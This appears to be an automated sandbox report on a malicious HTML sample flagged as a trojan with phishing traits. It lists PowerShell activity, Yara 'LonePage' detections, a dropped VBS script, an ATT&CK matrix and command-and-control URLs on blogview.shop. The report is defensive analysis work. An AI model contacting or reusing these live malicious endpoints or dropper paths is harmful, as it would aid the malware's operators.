Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LonePage

Source: Yara match	File source: 0000000E.00000002.2254854523.0000019DE464C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2934104900.00000289CCD70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3993054312.00000255DA205000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2265090368.0000019DE47B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2254854523.0000019DE45FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2879110154.00000289B2880000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2254854523.0000019DE4606000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3993054312.00000255DA190000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3996126247.00000233ADBE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3993054312.00000255DA1C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3992915793.00000255DA145000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2213637628.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2213637628.0000000004987000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Libraries\Libraries.vbs, type: DROPPED

Remote Access Functionality

Yara detected LonePage

Source: Yara match	File source: 0000000E.00000002.2254854523.0000019DE464C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2934104900.00000289CCD70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3993054312.00000255DA205000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2265090368.0000019DE47B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2254854523.0000019DE45FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2879110154.00000289B2880000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2254854523.0000019DE4606000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3993054312.00000255DA190000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3996126247.00000233ADBE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3993054312.00000255DA1C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3992915793.00000255DA145000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2213637628.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2213637628.0000000004987000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 6488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Libraries\Libraries.vbs, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	111 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
g3Wg5cdIcT.html	13%	ReversingLabs	Win32.Trojan.Pantera

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk	100%	Joe Sandbox ML
C:\Users\user\Downloads\c4304711-3ea8-4580-ab60-ae16aaf251fc.tmp	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edisk.ukr.net	212.42.78.17	true	false	unknown
accounts.ukr.net	212.42.75.253	true	false	unknown
poll0.fwdcdn.com	212.42.75.248	true	false	unknown
www.google.com	172.217.16.132	true	false	unknown
blogview.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://accounts.ukr.net/login/assets/illustration-design-ece6269f.svg	false	unknown
https://accounts.ukr.net/login/js/pow-worker-wasm.js?ab3ac7fc	false	unknown
https://poll0.fwdcdn.com/tunnel/websocket?cv%2Faccounts=login%2F2024.10.14.0820	false	unknown
https://accounts.ukr.net/api/v1/cai/browser/get	false	unknown
https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb	false	unknown
https://accounts.ukr.net/login/assets/illustration-support-a8ca1214.svg	false	unknown
https://accounts.ukr.net/login/assets/illustration-speedy-5282c395.svg	false	unknown
https://accounts.ukr.net/login/assets/illustration-unlimited-8c72d422.svg	false	unknown
https://accounts.ukr.net/login/assets/assembly-vn6BflkY.wasm	false	unknown
https://accounts.ukr.net/login/assets/inter-regular-latin-4X1OBjWa.woff2	false	unknown
file:///C:/Users/user/appdata/local/temp/748-929-24.html	false	unknown
https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb&action=login_client	false	unknown
https://accounts.ukr.net/login/assets/illustration-backup-e81719b8.svg	false	unknown
https://accounts.ukr.net/login/assets/inter-semi-bold-cyrillic-TYsCInMJ.woff2	false	unknown
https://accounts.ukr.net/login/css/bundle.css?3eae8d99	false	unknown
https://accounts.ukr.net/login/assets/illustration-dark-mode-2281edaa.svg	false	unknown
https://accounts.ukr.net/login/assets/file-20d110f0.svg	false	unknown
https://accounts.ukr.net/login/assets/illustration-patriotic-59471166.svg	false	unknown
https://accounts.ukr.net/api/v1/token/verification/acquire	false	unknown
https://accounts.ukr.net/login/assets/inter-bold-cyrillic-cOEmsfFa.woff2	false	unknown
https://accounts.ukr.net/login/assets/illustration-big-files-db9d7440.svg	false	unknown
https://accounts.ukr.net/login/assets/google-play-badge-8c42ddbd.svg	false	unknown
https://accounts.ukr.net/login/favicon.ico	false	unknown
https://accounts.ukr.net/api/v1/token/analytics/acquire	false	unknown
https://accounts.ukr.net/login/assets/app-store-badge-83fca98c.svg	false	unknown
https://accounts.ukr.net/login/assets/illustration-2fa-02329941.svg	false	unknown
https://accounts.ukr.net/login/assets/illustration-markers-828d12d7.svg	false	unknown
https://accounts.ukr.net/login/assets/illustration-popular-bfc8c819.svg	false	unknown
https://accounts.ukr.net/login/js/bundle.js?949e9a20	false	unknown
https://accounts.ukr.net/login/assets/inter-bold-latin-4bgN5WJ1.woff2	false	unknown
https://accounts.ukr.net/login/assets/inter-regular-cyrillic-gDZy7y86.woff2	false	unknown
https://accounts.ukr.net/login/assets/inter-medium-cyrillic-rEpTbtr3.woff2	false	unknown
https://edisk.ukr.net/	false	unknown
https://accounts.ukr.net/login/assets/inter-medium-latin-beJWZ28Q.woff2	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://go.microsoft.co0	powershell.exe, 0000000F.00000002.2880995377.00000289B455B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://edisk.ukr.net	g3Wg5cdIcT.html	false		unknown
http://www.microsoft.coR	powershell.exe, 00000009.00000002.2173775962.0000000003497000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.micros	powershell.exe, 00000009.00000002.2174458161.0000000005780000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ukr.net/terms/	chromecache_154.2.dr	false		unknown
https://aka.ms/pscore6lB	powershell.exe, 00000008.00000002.2213637628.0000000004841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2174458161.00000000052A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2225719291.000000000588B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2176804366.00000000062FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C47D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/	powershell.exe, 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B5CF7000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://blogview.shop/api/values/38303529143438199171/refresh199/5816370.txt	powershell.exe, 0000000F.00000002.2882000495.00000289B5C2B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://play.google.com/store/apps/details?id=net.ukr.mail	chromecache_127.2.dr, chromecache_154.2.dr, chromecache_119.2.dr	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.2213637628.0000000004841000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2174458161.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3999771576.00000233AF5CB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.ukr.net/terms_$	chromecache_127.2.dr, chromecache_119.2.dr	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.2225719291.000000000588B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2176804366.00000000062FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C47D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/38303529143438199171/refresh199/	powershell.exe, 00000014.00000002.3998839804.00000233ADD20000.00000004.00000020.00020000.00000000.sdmp, Libraries.vbs.8.dr	true		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000F.00000002.2882000495.00000289B485D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/vi	unarchiver.exe, 00000003.00000002.2264129387.0000000002D85000.00000004.00000800.00020000.00000000.sdmp, unarchiver.exe, 00000003.00000002.2264129387.0000000002D58000.00000004.00000800.00020000.00000000.sdmp, unarchiver.exe, 00000003.00000002.2264129387.0000000002D6B000.00000004.00000800.00020000.00000000.sdmp, unarchiver.log.3.dr	true		unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000F.00000002.2882000495.00000289B485D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 0000000F.00000002.2882000495.00000289B5366000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000F.00000002.2924508148.00000289C4693000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop/api/values/view/748-929-24.txt	powershell.exe, 00000008.00000002.2213637628.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, 748-929-24.html.lnk.4.dr	true		unknown
https://blogview.sh	cmd.exe, 00000006.00000002.2252237122.0000000000695000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000F.00000002.2882000495.00000289B485D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ukr.net$	chromecache_127.2.dr, chromecache_119.2.dr	false		unknown
https://blogview.shop/api/values/refresh199	powershell.exe, 00000014.00000002.3998839804.00000233ADD20000.00000004.00000020.00020000.00000000.sdmp, Libraries.vbs.8.dr	true		unknown
http://crl.micro	powershell.exe, 00000008.00000002.2207163569.00000000029E5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2173479740.00000000032B5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000009.00000002.2174458161.00000000053F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.ukr.net/terms_uk.html	chromecache_154.2.dr	false		unknown
https://aka.ms/pscore68	powershell.exe, 0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3999771576.00000233AF5CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3999771576.00000233AF5F7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://blogview.shop	powershell.exe, 0000000F.00000002.2882000495.00000289B5C2B000.00000004.00000800.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
212.42.75.253	accounts.ukr.net	Ukraine	8856	UKRNETKievUkraineUA	false
212.42.75.248	poll0.fwdcdn.com	Ukraine	8856	UKRNETKievUkraineUA	false
212.42.78.17	edisk.ukr.net	Ukraine	8856	UKRNETKievUkraineUA	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.7
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542807
Start date and time:	2024-10-26 13:47:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	g3Wg5cdIcT.html renamed because original name is a hash value
Original Sample Name:	5eb234197e492e5377ef7b31274ca12d19ebea70b8832e4883be06eaa06e379f.html
Detection:	MAL
Classification:	mal100.spre.phis.troj.expl.evad.winHTML@55/100@14/8
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 100% Number of executed functions: 87 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 64.233.184.84, 172.217.16.206, 34.104.35.123, 142.250.185.202, 142.250.181.234, 142.250.184.202, 216.58.212.170, 142.250.186.170, 172.217.16.202, 172.217.18.10, 142.250.186.138, 142.250.186.42, 142.250.185.170, 172.217.16.138, 142.250.185.234, 216.58.206.42, 142.250.186.106, 142.250.185.138, 142.250.186.74, 142.250.185.106, 142.250.184.234, 142.250.185.74, 172.217.18.106, 142.250.74.202, 172.217.23.106, 216.58.206.74, 2.16.100.168, 192.229.221.95, 172.217.16.131, 142.250.185.238
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target powershell.exe, PID 1436 because it is empty
